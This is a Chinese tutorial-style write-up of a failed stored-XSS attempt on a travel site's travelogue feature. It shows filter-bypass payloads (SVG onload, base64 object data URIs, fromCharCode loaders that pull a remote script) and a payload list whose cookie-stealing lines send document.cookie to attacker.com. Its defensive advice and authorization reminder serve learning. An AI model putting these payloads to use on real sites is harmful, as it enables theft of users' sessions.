记一次失败的xss利用
字数 1209 2025-08-27 12:33:49

XSS漏洞利用实战教学:从发现到绕过防护

一、XSS漏洞概述

跨站脚本攻击(XSS)是一种常见的Web安全漏洞,攻击者能够在受害者的浏览器中执行恶意脚本。本教学基于一次真实的XSS漏洞挖掘过程,详细讲解从发现到尝试绕过防护的全过程。

二、漏洞发现阶段

1. 目标选择

  • 选择旅游网站社区功能作为目标,特别是游记发布功能
  • 原因:游记功能包含大量用户输入输出点,XSS风险较高
  • 历史经验:该网站之前存在过XSS漏洞,防护可能不完善

2. 初步测试

  • 测试最简单的XSS payload:<script>alert(1)</script>
    • 结果:被检测到脚本代码并被拦截
  • 尝试SVG标签payload:<svg/onload=alert(1)>
    • 结果:成功弹窗,确认存在存储型XSS漏洞

三、绕过防护尝试

1. 发现审核机制

  • 游记提交后需要人工审核
  • 直接弹窗payload会被审核人员发现并拒绝
  • 需要更隐蔽的payload,如窃取cookie的代码

2. 黑名单绕过尝试

  • <script>标签被过滤
  • 尝试多种XSS payload:
    • ``:evalscript等关键词被拦截
    • <svg/onload="(new Image()).src='//xsspt.com/3hBMQd'">:只能记录referer/IP信息,无法执行脚本
    • <embed src=//14.rs>:需要alwaysscript属性但被过滤

3. 高级绕过技术尝试

3.1 Base64编码payload

尝试使用object标签加载base64编码的脚本:

<object data="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUkd1V0REUz48L3NjcmlwdD4="></object>

优点:

  • 不包含常见黑名单关键字
  • 需要确保base64编码正确

结果:

  • 网站篡改payload:text/html中的斜杠被移除
  • 空格被实体编码,导致payload失效

3.2 字符编码绕过

尝试使用String.fromCharCode动态生成script标签:

<svg onload=document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,116,46,99,110,47,82,71,117,87,68,68,83,62,60,47,115,99,114,105,112,116,62))>

问题:

  • 空格被实体编码
  • 改用反斜杠替代空格:
<svg/onload=document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,116,46,99,110,47,82,71,117,87,68,68,83,62,60,47,115,99,114,105,112,116,62))>

结果:被检测为非法字符

四、经验总结与防护建议

1. 攻击者角度总结

  • 黑名单防护可以被多种方式绕过
  • 需要尝试多种payload和编码方式
  • 实体编码和特定字符过滤是有效的防护手段
  • 审核机制增加了利用难度

2. 防御建议

  • 实施严格的输出编码
  • 使用内容安全策略(CSP)
  • 结合黑名单和白名单过滤
  • 对用户输入进行规范化处理
  • 关键操作添加CSRF防护

3. 可尝试的其他绕过方法

  1. 使用HTML5新标签和事件处理器
  2. 尝试JavaScript伪协议
  3. 利用DOM型XSS技术
  4. 结合其他漏洞如CSRF进行组合攻击

五、实用XSS Payload集合

1. 基本测试payload

<script>alert(1)</script>
<svg/onload=alert(1)>

2. 绕过过滤payload

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
<svg/onload=document.write(String.fromCharCode(60,115,99,114,105,112,116,62,97,108,101,114,116,40,49,41,60,47,115,99,114,105,112,116,62))>

3. 窃取cookie payload

<script>new Image().src='http://attacker.com/steal.php?cookie='+document.cookie</script>
<svg/onload="location.href='http://attacker.com/steal.php?cookie='+document.cookie">

通过本教学,您应该对XSS漏洞的发现和绕过技术有了更深入的理解。记住在实际测试中要遵守法律法规,仅在授权范围内进行安全测试。

XSS漏洞利用实战教学:从发现到绕过防护 一、XSS漏洞概述 跨站脚本攻击(XSS)是一种常见的Web安全漏洞,攻击者能够在受害者的浏览器中执行恶意脚本。本教学基于一次真实的XSS漏洞挖掘过程,详细讲解从发现到尝试绕过防护的全过程。 二、漏洞发现阶段 1. 目标选择 选择旅游网站社区功能作为目标,特别是游记发布功能 原因:游记功能包含大量用户输入输出点,XSS风险较高 历史经验:该网站之前存在过XSS漏洞,防护可能不完善 2. 初步测试 测试最简单的XSS payload: <script>alert(1)</script> 结果:被检测到脚本代码并被拦截 尝试SVG标签payload: <svg/onload=alert(1)> 结果:成功弹窗,确认存在存储型XSS漏洞 三、绕过防护尝试 1. 发现审核机制 游记提交后需要人工审核 直接弹窗payload会被审核人员发现并拒绝 需要更隐蔽的payload,如窃取cookie的代码 2. 黑名单绕过尝试 <script> 标签被过滤 尝试多种XSS payload: ``: eval 和 script 等关键词被拦截 <svg/onload="(new Image()).src='//xsspt.com/3hBMQd'"> :只能记录referer/IP信息,无法执行脚本 <embed src=//14.rs> :需要 alwaysscript 属性但被过滤 3. 高级绕过技术尝试 3.1 Base64编码payload 尝试使用object标签加载base64编码的脚本: 优点: 不包含常见黑名单关键字 需要确保base64编码正确 结果: 网站篡改payload: text/html 中的斜杠被移除 空格被实体编码,导致payload失效 3.2 字符编码绕过 尝试使用String.fromCharCode动态生成script标签: 问题: 空格被实体编码 改用反斜杠替代空格: 结果:被检测为非法字符 四、经验总结与防护建议 1. 攻击者角度总结 黑名单防护可以被多种方式绕过 需要尝试多种payload和编码方式 实体编码和特定字符过滤是有效的防护手段 审核机制增加了利用难度 2. 防御建议 实施严格的输出编码 使用内容安全策略(CSP) 结合黑名单和白名单过滤 对用户输入进行规范化处理 关键操作添加CSRF防护 3. 可尝试的其他绕过方法 使用HTML5新标签和事件处理器 尝试JavaScript伪协议 利用DOM型XSS技术 结合其他漏洞如CSRF进行组合攻击 五、实用XSS Payload集合 1. 基本测试payload 2. 绕过过滤payload 3. 窃取cookie payload 通过本教学,您应该对XSS漏洞的发现和绕过技术有了更深入的理解。记住在实际测试中要遵守法律法规,仅在授权范围内进行安全测试。